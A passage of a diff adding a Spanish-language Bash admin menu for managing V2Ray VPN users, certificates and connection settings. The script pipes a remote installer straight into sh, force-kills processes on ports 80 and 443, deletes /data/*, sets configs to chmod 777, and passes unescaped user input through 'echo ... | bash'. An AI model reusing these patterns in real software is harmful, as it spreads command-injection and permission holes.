"\033[1;32m$1\033[0m" + } || { + echo -ne " \033[1;32m$1:\033[0m " + } +} + +rojo(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;31m$1\033[0m" + } || { + echo -ne " \033[1;31m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + +col2(){ + + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +title2(){ +v2rayports=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep v2ray | awk '{print substr($9,3); }' > /tmp/v2ray.txt && echo | cat /tmp/v2ray.txt | tr '\n' ' ' > /etc/adm-lite/v2rayports.txt && cat /etc/adm-lite/v2rayports.txt` > /dev/null 2>&1 +v2rayports=$(echo $v2rayports | awk {'print $1'}) +_tconex=$(netstat -nap | grep "$v2rayports" | grep v2ray | grep ESTABLISHED| grep tcp6 | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq | wc -l) + v1=$(cat /etc/adm-lite/v-local.log) + v2=$(cat /bin/ejecutar/v-new.log) + msg -bar3 + [[ $v1 = $v2 ]] && echo -e " \e[97m\033[1;44m MENU V2RAY LITE [$v1] POWER BY @drowkid01 \033[0m" || echo -e " \e[97m\033[1;44m MENU V2RAY LITE POWER BY @drowkid01 [$v1] >> \033[1;92m[$v2] \033[0m" +[[ ! -z $v2rayports ]] && echo -e " \e[97m\033[1;44mPUERTO ACTIVO :\033[0m \033[3;32m$v2rayports\033[0m \e[97m\033[1;44m ACTIVOS:\033[0m \033[3;32m\e[97m\033[1;41m $_tconex " || echo -e " \e[97m\033[1;41mERROR A INICIAR V2RAY : \033[0m \033[3;32m FAIL\033[3;32m" + } + +title(){ + msg -bar3 + blanco "$1" + msg -bar3 +} + +userDat(){ + blanco " N° Usuarios fech exp dias" + msg -bar3 +} + +#============================================ +domain_check() { + ssl_install_fun + clear + msg -bar3 + echo -e " \033[1;49;37mgenerador de certificado ssl/tls\033[0m" + msg -bar3 + echo -e " \033[1;49;37mingrese su dominio (ej: midominio.com.ar)\033[0m" + echo -ne ' \033[3;49;31m>>>\033[0m ' + read domain + + echo -e "\n \033[1;49;36mOteniendo resolucion dns de su dominio...\033[0m" + domain_ip=$(ping "${domain}" -c 1 | sed '1{s/[^(]*(//;s/).*//;q}') + + echo -e "\n \033[1;49;36mOteniendo IP local...\033[0m" + local_ip=$(wget -qO- ipv4.icanhazip.com) + sleep 0.5 + + while : + do + if [[ $(echo "${local_ip}" | tr '.' '+' | bc) -eq $(echo "${domain_ip}" | tr '.' '+' | bc) ]]; then + clear + msg -bar3 + echo -e " \033[1;49;37mSu dominio: ${domain}\033[0m" + msg -bar3 + echo -e " \033[1;49;37mIP dominio:\033[0m \033[1;49;32m${domain_ip}\033[0m" + echo -e " \033[1;49;37mIP local:\033[0m \033[1;49;32m${local_ip}\033[0m" + msg -bar3 + echo -e " \033[1;49;32mComprovacion exitosa\033[0m" + echo -e " \033[1;49;37mLa IP de su dominio coincide\n con la IP local, desea continuar?\033[0m" + msg -bar3 + echo -ne " \033[1;49;37msi o no [S/N]:\033[0m " + read opcion + case $opcion in + [Yy]|[Ss]) port_exist_check;; + [Nn]) cancelar && sleep 0.5;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.5 && continue;; + esac + else + clear + msg -bar3 + echo -e " \033[1;49;37mSu dominio: ${domain}\033[0m" + msg -bar3 + echo -e " \033[1;49;37mIP dominio:\033[0m \033[3;49;31m${domain_ip}\033[0m" + echo -e " \033[1;49;37mIP local:\033[0m \033[3;49;31m${local_ip}\033[0m" + msg -bar3 + echo -e " \033[3;49;31mComprovacion fallida\033[0m" + echo -e " \033[4;49;97mLa IP de su dominio no coincide\033[0m\n \033[4;49;97mcon la IP local\033[0m" + msg -bar3 + echo -e " \033[1;49;36m> Asegúrese que se agrego el registro" + echo -e " (A) correcto al nombre de dominio." + echo -e " > Asegurece que su registro (A)" + echo -e " no posea algun tipo de seguridad" + echo -e " adiccional y que solo resuelva DNS." + echo -e " > De lo contrario, V2ray no se puede" + echo -e " utilizar normalmente...\033[0m" + msg -bar3 + echo -e " \033[1;49;37mdesea continuar?" + echo -ne " si o no [S/N]:\033[0m " + read opcion + case $opcion in + [Yy]|[Ss]) port_exist_check;; + [Nn]) cancelar && sleep 0.5;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.2 && continue;; + esac + fi + break + done +} + +port_exist_check() { + while : + do + clear + msg -bar3 + echo -e " \033[1;49;37mPara la compilacion del certificado" + echo -e " se requiere que los siguientes puerto" + echo -e " esten libres." + echo -e " '80' '443'" + echo -e " este script intentara detener" + echo -e " cualquier proseso que este" + echo -e " usando estos puertos\033[0m" + msg -bar3 + echo -e " \033[1;49;37mdesea continuar?" + echo -ne " [S/N]:\033[0m " + read opcion + + case $opcion in + [Ss]|[Yy]) + ports=('80' '443') + clear + msg -bar3 + echo -e " \033[1;49;37mcomprovando puertos...\033[0m" + msg -bar3 + sleep 0.2 + for i in ${ports[@]}; do + [[ 0 -eq $(lsof -i:$i | grep -i -c "listen") ]] && { + echo -e " \033[3;49;32m$i [OK]\033[0m" + } || { + echo -e " \033[3;49;31m$i [fail]\033[0m" + } + done + msg -bar3 + for i in ${ports[@]}; do + [[ 0 -ne $(lsof -i:$i | grep -i -c "listen") ]] && { + echo -ne " \033[1;49;37mliberando puerto $i...\033[1;49;37m " + lsof -i:$i | awk '{print $2}' | grep -v "PID" | xargs kill -9 + echo -e "\033[1;49;32m[OK]\033[0m" + } + done + ;; + [Nn]) cancelar && sleep 0.2 && break;; + *) echo -e "\n \033[1;49;37mselecione (S) para si o (N) para no!\033[0m" && sleep 0.2;; + esac + continuar + read foo + ssl_install + break + done +} + +ssl_install() { + while : + do + + if [[ -f "/data/v2ray.key" || -f "/data/v2ray.crt" ]]; then + clear + msg -bar3 + echo -e " \033[1;49;37mya existen archivos de certificados" + echo -e " en el directorio asignado.\033[0m" + msg -bar3 + echo -e " \033[1;49;37mENTER para canselar la instacion." + echo -e " 'S' para eliminar y continuar\033[0m" + msg -bar3 + echo -ne " opcion: " + read ssl_delete + case $ssl_delete in + [Ss]|[Yy]) + rm -rf /data/* + echo -e " \033[3;49;32marchivos removidos..!\033[0m" + sleep 0.2 + ;; + *) cancelar && sleep 0.2 && break;; + esac + fi + + if [[ -f "$HOME/.acme.sh/${domain}_ecc/${domain}.key" || -f "$HOME/.acme.sh/${domain}_ecc/${domain}.cer" ]]; then + msg -bar3 + echo -e " \033[1;49;37mya existe un almacer de certificado" + echo -e " bajo este nombre de dominio\033[0m" + msg -bar3 + echo -e " \033[1;49;37m'ENTER' cansela la instalacion" + echo -e " 'D' para eliminar y continuar" + echo -e " 'R' para restaurar el almacen crt\033[0m" + msg -bar3 + echo -ne " opcion: " + read opcion + case $opcion in + [Dd]) + echo -e " \033[1;49;92meliminando almacen cert...\033[0m" + sleep 0.2 + rm -rf $HOME/.acme.sh/${domain}_ecc + ;; + [Rr]) + echo -e " \033[1;49;92mrestaurando certificados...\033[0m" + sleep 0.2 + "$HOME"/.acme.sh/acme.sh --installcert -d "${domain}" --fullchainpath /data/v2ray.crt --keypath /data/v2ray.key --ecc + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/v2ray.crt\",keyFile:\"/data/v2ray.key\"}]}' | jq '.inbounds[] += {domain:\"$domi\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + restart_v2r + echo -e " \033[1;49;37mrestauracion completa...\033[0m\033[1;49;92m[ok]\033[0m" + break + ;; + *) cancelar && sleep 0.2 && break;; + esac + fi + acme + break + done +} + +ssl_install_fun() { + apt install socat netcat -y + curl https://get.acme.sh | sh +} + +acme() { + clear + msg -bar3 + echo -e " \033[1;49;37mcreando nuevos certificado ssl/tls\033[0m" + #msg -bar3 +# read -p " Ingrese correo Para Validar el acme SSL : " corrio + msg -bar3 + wget -O - https://get.acme.sh | sh -s email=$corrio + msg -bar3 + if "$HOME"/.acme.sh/acme.sh --issue -d "${domain}" --standalone -k ec-256 --force --test; then + echo -e "\n \033[1;49;37mSSL La prueba del certificado\n se emite con éxito y comienza la emisión oficial\033[0m\n" + rm -rf "$HOME/.acme.sh/${domain}_ecc" + sleep 0.2 + else + echo -e "\n \033[4;49;31mError en la emisión de la prueba del certificado SSL\033[0m" + msg -bar3 + rm -rf "$HOME/.acme.sh/${domain}_ecc" + stop=1 + fi + + if [[ 0 -eq $stop ]]; then + + if "$HOME"/.acme.sh/acme.sh --issue -d "${domain}" --standalone -k ec-256 --force; then + echo -e "\n \033[1;49;37mSSL El certificado se genero con éxito\033[0m" + msg -bar3 + sleep 0.2 + [[ ! -d /data ]] && mkdir /data + if "$HOME"/.acme.sh/acme.sh --installcert -d "${domain}" --fullchainpath /data/v2ray.crt --keypath /data/v2ray.key --ecc --force; then + msg -bar3 + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"/data/v2ray.crt\",keyFile:\"/data/v2ray.key\"}]}' | jq '.inbounds[] += {domain:\"$domain\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + chmod 777 $config + rm $temp + restart_v2r + echo -e "\n \033[1;49;37mLa configuración del certificado es exitosa\033[0m" + msg -bar3 + echo -e " /data/v2ray.crt" + echo -e " /data/v2ray.key" + msg -bar3 + sleep 0.2 + fi + else + echo -e "\n \033[4;49;31mError al generar el certificado SSL\033[0m" + msg -bar3 + rm -rf "$HOME/.acme.sh/${domain}_ecc" + fi + fi + continuar + read foo +} + +#============================================ + +restart_v2r(){ + v2ray restart + #echo "reiniciando" +} + +add_user(){ + unset seg opcion + seg=$(date +%s) + while : + do + clear + users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" + title " CREAR USUARIO V2RAY" + userDat + n=0 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + + col "$n)" "$i" "$DateExp" "$exp" + } + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NOMBRE DEL NUEVO USUARIO" 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + [[ ! -z "$(cat < $user_conf | grep -w "${opcion}")" ]] && echo -e " NOMBRE ${opcion} YA ESTA REGISTRADO " && sleep 1.1 && continue + blanco "DURACION EN DIAS" 0 + read dias + espacios=$(echo "$opcion" | tr -d '[[:space:]]') + opcion=$espacios + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + new=".inbounds[].settings.clients[$num]" + new_id=$(uuidgen) + new_mail="email:\"$opcion\"" + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo jq \'$new += \{alterId:${aid},id:\"$new_id\","$new_mail"\}\' $temp \> $config | bash + echo "$opcion | $new_id | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario $opcion creado Exitosamente" + msg -bar3 + restart_v2r + sleep 0.2 + #fun_bar + #------------------------------------------------------------- + ps=${opcion} #$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + id=${new_id} #$(jq .inbounds[].settings.clients[$opcion].id $config) + aid=$(jq .inbounds[].settings.clients[].alterId $config | head -1) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='aqui.tu.host' + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + addip=$(wget -qO- ifconfig.me) + clear + msg -bar3 + blanco " Usuario: $ps" + msg -bar3 + col2 "Remarks:" "$ps" + col2 "Domain:" "$add" + col2 "IP-Address:" "$addip" + col2 "Port:" "$port" + col2 "id:" "$id" + col2 "alterId:" "$aid" + col2 "network:" "$net" + [[ $tls = '"tls"' ]] && col2 "TLS:" "ABIERTO" || col2 "TLS:" " CERRADO" + [[ $net = '"grpc"' ]] && col2 "Mode:" " GUN" || col2 "Head Type:" "none" + col2 "security:" "none" + [[ ! $host = '' ]] && col2 "Host/SNI:" "$host" + [[ $net = '"grpc"' ]] && col2 "ServiceName:" "$path" || col2 "Path:" "$path" + msg -bar3 + blanco " VMESS LINK CONFIG" + msg -bar3 + vmess + msg -bar3 + echo -e " ESTA CONFIG SOLO SE MUESTRA UNA VEZ AQUI \n SI QUIERES VOLVER A VERLA VE A LA OPCION 4 \n Y BALLASE A LA BERGA PERRO :V" + msg -bar3 + continuar + read foo + #--------------------------------------------------------------------- + done +} + +renew(){ + while : + do + unset user + clear + title " RENOVAR USUARIOS" + userDat + userEpx=$(cut -d " " -f1 $user_conf) + n=1 + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + user[$n]=$i + let n++ + } + done + [[ -z ${user[1]} ]] && blanco " No hay expirados" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A RENOVAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + [[ $opcion>=${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + blanco "DURACION EN DIAS" 0 + read dias + + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo "cat $temp | jq '.inbounds[].settings.clients[$num] += {alterId:${aid},id:\"${uid[$opcion]}\",email:\"${user[$opcion]}\"}' >> $config" | bash + sed -i "/${user[$opcion]}/d" $user_conf + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Usuario ${user[$opcion]} renovado Exitosamente" + msg -bar3 + restart_v2r + sleep 0.2 + } + } + done +} + +autoDel(){ + seg=$(date +%s) + while : + do + unset users + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + n=0 + for i in $users + do + [[ ! $i = null ]] && { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$n]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + continue + } + } + let n++ + done + break + done + restart_v2r + } + +dell_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + title " ELIMINAR USUARIO V2RAY" + userDat + n=0 + for i in $users + do + userd[$n]=$i + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + } + p=$n + let n++ + done + userEpx=$(cut -d " " -f 1 $user_conf) + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + expUser[$n]=$i + } + let n++ + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A ELIMINAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + let n-- + [[ $opcion -gt ${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + [[ $opcion>=${p} ]] && { + sed -i "/${expUser[$opcion]}/d" $user_conf + _us="${expUser[$opcion]}" + } || { + sed -i "/${userd[$opcion]}/d" $user_conf + _us="${userd[$opcion]}" + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + #blanco " Usuario $(jq .inbounds[].settings.clients[$opcion].email $config) eliminado" + blanco " USUARIO ${_us} ELIMINADO EXITOSAMENTE !!" + msg -bar3 + restart_v2r + } + sleep 0.2 + } + } + done +} + +fun_lock(){ + unset seg + local seg=$(date +%s) + while : + do + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + title " BLOQUEAR USUARIO Y MANDARLO AL LIMBOOOOO" + userDat + local n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + [[ $i = null ]] || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + local uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + local user[$n]=$i + local p=$n + let n++ + } + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A BLOQUEAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + let n-- + [[ $opcion -gt ${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + #echo -e " OPCION ${opcion} / USER : ${user[$opcion]}" + local LOCKDATA="$(cat ${user_conf}|grep -w "${user[$opcion]}"|cut -d'|' -f3)" + local tempo=$(date +%s --date="$LOCKDATA") + local dias="$(($(($tempo - $seg)) / 86400))" + [[ $opcion>=${p} ]] && { + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" >> $configLOCK + #echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + sed -i "/${user[$opcion]}/d" $user_conf + rm $temp + chmod 777 $configLOCK + #read -p "PAUSE" + } || { + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" >> $configLOCK + #echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + sed -i "/${user[$opcion]}/d" $user_conf + chmod 777 $configLOCK + #read -p "PAUSE" + clear + msg -bar3 + #blanco " Usuario $(jq .inbounds[].settings.clients[$opcion].email $config) eliminado" + blanco " USUARIO ${user[$opcion]} NUM: ${opcion} ENVIADO AL LIMBOOOO !!" + msg -bar3 + restart_v2r + } + sleep 0.2 + } + } +done +} + +fun_unlock(){ +#echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $configLOCK + while : + do + unset user n + clear + title " DESBOQUEAR USUARIOS DEL LIMBOOOOO!!!" + userDat + userEpx=$(cut -d " " -f1 $configLOCK) + n=1 + for i in $userEpx + do + DateExp="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f4)" + #seg_exp=$(date +%s --date="$DateExp") + #[[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp DIAS" "\033[0;31m[LOCK]" + #col "$n)" "$i" "\033[0;31m[LOCK]" + local uid[$n]="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + local user[$n]=$i + local tiempito[$n]="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f4|tr -d '[[:space:]]')" + let n++ + #} + done + [[ -z ${user[1]} ]] && blanco " No hay bloqueados!!!" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A DESBLOQUEAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + [[ $opcion>=${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + #blanco "DURACION EN DIAS" 0 + local dias=${tiempito[$opcion]} + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo "cat $temp | jq '.inbounds[].settings.clients[$num] += {alterId:${aid},id:\"${uid[$opcion]}\",email:\"${user[$opcion]}\"}' >> $config" | bash + sed -i "/${user[$opcion]}/d" ${configLOCK} + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " USUARIO ${user[$opcion]} RETIRADO DEL LIMBOOOOOOO!!" + msg -bar3 + restart_v2r + sleep 0.2 + } + } + done +} + +_lo_un(){ +clear +msg -bar3 +echo -e "\033[0;35m [${cor[2]}1\033[0;35m]\033[0;33m ${flech}\033[0;33m [!] BLOQUEAR USUARIO V2RAY " +echo -e "\033[0;35m [${cor[2]}2\033[0;35m]\033[0;33m ${flech}\033[0;33m [!] DESBLOQUEAR USUARIO V2RAY " +msg -bar3 +echo -e " \033[0;35m[${cor[2]}0\033[0;35m]\033[0;33m ${flech} $(msg -bra "\033[1;43m[ Salir ]\e[0m")" +msg -bar3 + selection=$(selection_fun 2) + case ${selection} in + 1) + fun_lock + ;; + 2) + fun_unlock + ;; + esac +} + +view_user(){ + unset seg + seg=$(date +%s) + while : + do + + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " VER USUARIO V2RAY" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="Admin" + DateExp=" Ilimitado" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + + col "$n)" "$i" "$DateExp" "$exp" + let n++ + done + + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "VER DATOS DEL USUARIO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + let opcion-- + + ps=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + id=$(jq .inbounds[].settings.clients[$opcion].id $config) + aid=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='aqui.tu.host' + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + addip=$(wget -qO- ifconfig.me) + clear + msg -bar3 + blanco " Usuario: $ps" + msg -bar3 + col2 "Remarks:" "$ps" + col2 "Domain:" "$add" + col2 "IP-Address:" "$addip" + col2 "Port:" "$port" + col2 "id:" "$id" + col2 "alterId:" "$aid" + col2 "network:" "$net" + [[ $tls = '"tls"' ]] && col2 "TLS:" "ABIERTO" || col2 "TLS:" " CERRADO" + [[ $net = '"grpc"' ]] && col2 "Mode:" " GUN" || col2 "Head Type:" "none" + col2 "security:" "none" + [[ ! $host = '' ]] && col2 "Host/SNI:" "$host" + [[ $net = '"grpc"' ]] && col2 "ServiceName:" "$path" || col2 "Path:" "$path" + msg -bar3 + blanco " VMESS LINK CONFIG" + msg -bar3 + vmess + msg -bar3 + continuar + read foo + done +} + +vmess() { +[[ $net = '"grpc"' ]] && echo -e "\033[3;32mvmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"none\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)\033[3;32m" || { +[[ $net = '"ws"' ]] && echo -e "\033[3;32mvmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"gun\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)\033[3;32m" +} +} + +alterid(){ + while : + do + aid=$(jq '.inbounds[].settings.clients[0].alterId' $config) + clear + msg -bar3 + blanco " configuracion alterId" + msg -bar3 + col2 " alterid:" "$aid" + msg -bar3 + col "x)" "VOLVER" + msg -bar3 + blanco "NUEVO VALOR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = x ]] && break + + mv $config $temp + new=".inbounds[].settings.clients[0]" + echo jq \'$new += \{alterId:${opcion}\}\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo AlterId fijado" + msg -bar3 + restart_v2r + done +} + +port(){ + while : + do + port=$(jq '.inbounds[].port' $config) + clear + msg -bar3 + blanco " configuracion de puerto" + msg -bar3 + col2 " Puerto:" "$port" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO PUERTO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + mv $config $temp + new=".inbounds[]" + echo jq \'$new += \{port:${opcion}\}\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Nuevo Puerto fijado" + msg -bar3 + sleep 0.2 + restart_v2r + done +} + +address(){ + while : + do + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + clear + msg -bar3 + blanco " configuracion address" + msg -bar3 + col2 "address:" "$add" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO ADDRESS" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + mv $config $temp + echo "cat $temp | jq '.inbounds[] += {domain:\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo address fijado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +host(){ + while : + do + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='sin host' + clear + msg -bar3 + blanco " configuracion Host" + msg -bar3 + col2 "Host:" "$host" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO HOST" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.wsSettings.headers += {Host:\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo Host fijado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +path(){ + while : + do + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + clear + msg -bar3 + blanco " configuracion Path" + msg -bar3 + col2 "path:" "$path" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO Path" 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + mv $config $temp + [[ $net = '"grpc"' ]] && echo "cat $temp | jq '.inbounds[].streamSettings.grpcSettings += {serviceName :\"$opcion\"}' >> $config" | bash || echo "cat $temp | jq '.inbounds[].streamSettings.wsSettings += {path:\"$opcion\"}' >> $config" | bash +# echo "cat $temp | jq '.inbounds[].streamSettings.grpcSettings += {serviceName :\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo path fijado" + msg -bar3 + sleep 0.2 + restart_v2r + done 